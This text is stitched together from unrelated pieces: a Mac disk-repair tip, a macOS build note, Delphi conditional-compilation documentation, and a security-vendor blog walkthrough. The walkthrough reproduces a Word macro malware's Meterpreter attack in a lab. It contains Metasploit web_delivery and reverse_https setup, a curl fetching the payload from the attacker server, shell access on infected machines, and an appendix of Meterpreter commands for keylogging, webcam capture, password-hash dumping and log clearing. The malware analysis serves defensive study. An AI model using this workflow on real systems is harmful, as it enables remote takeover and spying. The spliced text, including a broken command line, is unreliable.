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If there is some way to eliminate the OS as the problem before going to a technician. Run Repair Disk from the OS X Install DVD to check and possibly rectify the OS's file structure. To do this: Insert the Install Disk into the drive and then select Restart; when you hear the chime hold down C key until the apple logo appears. Until now the deployment target was hardwired to 10.3. This logic comes from RT#117433. For OS X releases from 10.3 until 10.5, no change, still using the MACOSXDEPLOYMENTTARGET=10.3 for linking. For OS X releases before 10.3, no change, still not using the MACOSXDEPLOYMENTTARGET=10.3.

Conditional compilation is based on the existence and evaluation of constants, the status of compiler switches, and the definition of conditional symbols.

• 2Using Conditional Defines for the Compiler Version

Conditional symbols work like Boolean variables: they are either defined (True) or undefined (False). Any valid conditional symbol is treated as false until it has been defined.

You can define a conditional in the following ways:

• Use the {$DEFINE} directive to set a specified symbol to True, and the {$UNDEF} directive to set the symbol to False.
• Use the -D switch with the command-line compiler (this option is supported by all the Delphi compilers).
• Add the symbol to the Conditional Defines field on the Project > Options > Delphi Compiler page.

The conditional directives {$IFDEF}, {$IFNDEF}, {$IF}, {$ELSEIF}, {$ELSE}, {$ENDIF}, and {$IFEND} allow you to compile or suppress code based on the status of a conditional symbol. {$IF} and {$ELSEIF} allow you to base conditional compilation on declared Delphi identifiers. {$IFOPT} compiles or suppresses code depending on whether a specified compiler switch is enabled.

For example, the following Delphi code snippet processes differently depending on whether the DEBUG conditional define is set ({$DEFINE DEBUG}):

Conditional-directive constructions can be nested up to 32 levels deep. For every {$IFxxx}, the corresponding {$ENDIF} or {$IFEND} must be found within the same source file. Conditional symbols must start with a letter, followed by any combination of letters, digits, and underscores; they can be of any length, but only the first 255 characters are significant.

Predefined Conditionals

The following standard conditional symbols are defined:

In the table column heads:

• DCC32 is the 32-bit Windows Delphi compiler.
• DCC64 is the 64-bit Windows Delphi compiler.
• DCCOSX is the 32-bit macOS Delphi compiler.
• DCCOSX64 is the 64-bit macOS Delphi compiler.
• DCCIOSARM is the Delphi compiler for 32-bit iOS Devices.
• DCCIOS32 is the Delphi compiler for iOS Simulators.
• DCCAARM.EXE is the Delphi compiler for Android devices.
• DCCIOSARM64 is the Delphi compiler for 64-bit iOS devices.
• DCCLINUX64 is the 64-bit Linux Delphi compiler.
• DCCAARM64.EXE is the Delphi compiler for 64-bit Android devices.

Using Conditional Defines for the Compiler Version

For example, to determine the version of the compiler and run-time library that were used to compile your code, you can use {$IF} with the CompilerVersion, RTLVersion and other constants:

See the table of Compiler Versions for a list of version numbers associated with various released Delphi compilers.

Predefined Constants

Constants can be more powerful than conditionals because you can use constants programmatically in Delphi code. Conditionals, on the other hand, are accepted only inside conditional compiler directives such as {$IF} and {$IFDEF}.

There are three important constants available:

• System.RTLVersion is a constant defined as the version of the run-time library. For Sydney, RTLVersion is 34.
• System.CompilerVersion is a constant defined as the version of the current Delphi compiler. For Sydney, CompilerVersion is 34.
• FMX.Types.FireMonkeyVersion is a constant defined as the version of the current FireMonkey library. For Sydney, FireMonkeyVersion is 270.

See Also

• CompilerVersion_(Delphi) Code Example
• IF directive (Delphi) and IFEND directive (Delphi)
• IFDEF directive (Delphi) and ENDIF directive (Delphi)
• Delphi Compiler page in Project Options

In the blog we posted on March 22, FortiGuard Labs introduced a new Word Macro malware sample that targets both Apple Mac OS X and Microsoft Windows. After deeper investigation of this malware sample, we can confirm that after a successful infection the post-exploitation agent Meterpreter is run on the infected Mac OS X or Windows system. Meterpreter is part of the Metasploit framework. More information about Meterpreter can be found here.

For this to work, the attacker’s server must be running Metasploit as the controller to control the infected systems. Since the attacker’s server doesn’t currently respond to any requests, we decided to set up a Metasploit to confirm our observation.

This blog provides a walk-through of the attack process with the server we set up, and shows what an attacker can do on an infected system.

Testing Environment

The testing environment consists of three virtual machines running 64-bit Windows 7, 64-bit Mac OS X, and 64-bit Kali Linux, respectively. The Windows 7 machine acts as an infected Windows system, the Mac OS X machine acts as an infected Mac OS X system, and the Kali Linux VM acts as the attacker’s server running Metasploit.

Following are the IP addresses of these virtual machines.

Windows 7: 192.168.71.127

Mac OS X: 192.168.71.128

Kali Linux: 192.168.71.129

Setting Up the Metasploit

First, we created a new script file on the Kali Linux VM with Metasploit installed containing the commands required to set Metasploit.

Figure 1 – The content of the script file

Typing “msfconsole -q -r osx_meterpreter_test” executes Metasploit in quiet mode (-q) and loads the script file (-r) provided.

Figure 2 – Running Metasploit

Once the settings are loaded, running the command show options shows the current Metasploit configuration for the session.

Our test uses two Metasploit components. The first is the web_delivery module, and the second is the payload reverse_https.

The SRVHOST and LHOST parameters are set to the Kali Linux’s IP address (192.168.71.129). This IP address acts as a listener (for the connect-back connection, listening on TCP/443 (LPORT)) as well as a server (listening on TCP/8080(SRVPORT)) to deliver the reverse_https payload.

The show options command hides certain settings that can only be viewed by the show advanced command. The only setting that is not shown is StagerVerifySSLCert, which we set to false. That prevents the validity of the SSL certificate to be verified while establishing secure communications.

Figure 3 – Showing the options set for the attack

The next step is to execute the run command, which starts the HTTPS reverse handler/server so it is ready for victims to connect. See Figure 4. A piece of Python script code is then generated for infected systems to run.

Figure 4 – Running the attack

Instead of directly executing this code on the victim’s machine, however, an HTTPS request is made to see what data the server will reply with. Typing curl -k https://192.168.71.129:8080/, we can see that a chunk of Python script code has been received.

Figure 5 – The Python script code returned to victim

If we compare the code structure between the code found in the malicious Macro and the one generated by Metasploit in the previous step, it is easy to visually identify the same elements (highlighted in yellow), but obviously the base64 data is different.

The next step is to decode the base64 data to reveal the code that will be executed on the victim’s machine. To do that, a call to the base64 tool is more than enough, and can be done inside the Metasploit prompt as well.

The command syntax is: echo “Figure 6 – Decoding the base64 data

In the malware sample, the base64 decoded data is passed to the ExecuteForOSX() function (on the left side of the table). Again, through a comparison between that code and the code generated by Metasploit, we can see that they are same, without counting the URL, which is different.

Demonstrating the attack on Mac OS X

Next, on the Mac OS X machine, we create a new file with the name “osx_meterpreter.py” that includes the code above (on the right side) generated by Metasploit. It is then executed by calling the Python interpreter with the script as a parameter.

Figure 7 – Running the Python script on the Mac OS X machine

We can now see that the script is executed without any issue. Great!

When going back to the Metasploit prompt on the Kali Linux, we can see that a meterpreter session is opened. The sessions command can be run to see the current meterpreter session. The output shows that an active session with the type “meterpreter python/osx”. It confirms that the session has been established correctly.

Figure 8 – The Meterpreter session is opened

The command sessions -i 1 is now run to start interaction with the session, so the meterpreter prompt is given. The first command we execute is the meterpreter command called sysinfo, which collects information from the remote infected system, as shown in Figure 9. For this scenario, it shows information from the compromised Mac OS X machine.

Figure 9 – Getting the sys info of the infected Mac OS X

Now, to be a bit more adventurous, the shell command is executed. This command starts a shell on the remote compromised system that can be controlled locally. A “sh-3.2” prompt appears, and from here we can execute any command that is the OS command run on the remote machine. The id command is executed showing the user’s id, which in this case is the “root” user.

Figure 10 – Getting the shell of the infected Mac OS X

It is also worth a mention that, even if the Metasploit server goes down, the Python process running on the victim’s machine stays alive and keeps trying to connect back until the server goes up. Once this happens, the victim’s machine is automatically connected and establishes a session with the server.

Demonstrating the attack on Windows 7

On the Windows 7 machine, the first thing we do is to modify the file “hosts,” as shown below, which you can find in “%SystemRoot%System32driversetc”. This file is used to map host names to IP addresses.

Figure 11 – Modifying the “hosts” file

As a result, all the request packets directed to pizza.vvlxpress.com will be sent to the Kali Linux machine (192.168.71.129). We then let the 64-bit DLL restore to run inside the powershell.exe process. It will connect to the Kali Linux running Metasploit.

When going back to the Metasploit prompt on the Kali Linux, we see that a meterpreter session has been opened. We then use the sessions command to see the current meterpreter session. The output shows that there’s an active session with the type “meterpreter x64/windows”. The sysinfo command then shows the sys info of the infected Windows system. See Figure 12.

Figure 12 – Getting the sys info of the infected Windows 7 device

After the connection is established, we next check the victim’s system information. See Figure 13. We are able to compare it with the information we got in Metasploit (Figure 12.)

Figure 13 – The info of the infected Windows

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We then execute the shell command to take control of the infected Windows machine. Figure 14 shows the output of executing the dir command after we get the shell.

Figure 14 – Getting the shell of the infected Windows machine

From here, you can execute any command you want on the infected Windows machine.

As you probably notice, in the output of the shell command there is a line of message reading “Process 1172 created.” This means that a new cmd.exe with process id 1172 was run on the infected system, which is used to handle commands from the server.

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Figure 15 – A new “cmd.exe” process is created

Conclusion

Based on FortiGuard Labs’ analysis and testing, we can confirm the following:

1. Meterpreter was used for post-exploitation by the attacker
2. The web_delivery module was used by the attacker
3. The reverse_https payload was used by the attacker for secure communication

This walk-through shows how this malware is able to take control of the infected system. Once the meterpreter session is established, the attacker can get the sys info of the infected system and execute commands on the infected system.

In fact, meterpreter is a very powerful tool for post-exploitation. In the Appendix, below, you can see the commands it supports. This helps you imagine how serious the consequences of such an attack can be if your system is infected by this malware.

Appendix

The commands that meterpreter supports:

Stdapi: File system Commands

Command Description

------- -----------

cat Read the contents of a file to the screen

cd Change directory

checksum Retrieve the checksum of a file

cp Copy source to destination

dir List files (alias for ls)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory

lpwd Print local working directory

ls List files

mkdir Make directory

mv Move source to destination

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Search for files

show_mount List all mount points/logical drives

upload Upload a file or directory

Stdapi: Networking Commands

Command Description

------- -----------

arp Display the host ARP cache

getproxy Display the current proxy configuration

ifconfig Display interfaces

ipconfig Display interfaces

netstat Display the network connections

portfwd Forward a local port to a remote service

resolve Resolve a set of host names on the target

route View and modify the routing table

Stdapi: System Commands

Command Description

------- -----------

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process

getsid Get the SID of the user that the server is running as

getuid Get the user that the server is running as

kill Terminate a process

local time Displays the target system's local date and time

pgrep Filter processes by name

pkill Terminate processes by name

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal_token Attempts to steal an impersonation token from the target process

suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands

Command Description

------- -----------

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle

keyscan_dump Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

Command Description

------- -----------

record_mic Record audio from the default microphone for X seconds

webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam

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webcam_stream Play a video stream from the specified webcam

Priv: Elevate Commands

Command Description

------- -----------

getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command Description

------- -----------

hashdump Dumps the contents of the SAM database

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Priv: Timestomp Commands

Command Description

------- -----------

Mac Os Change Desktop

timestomp Manipulate file MACE attributes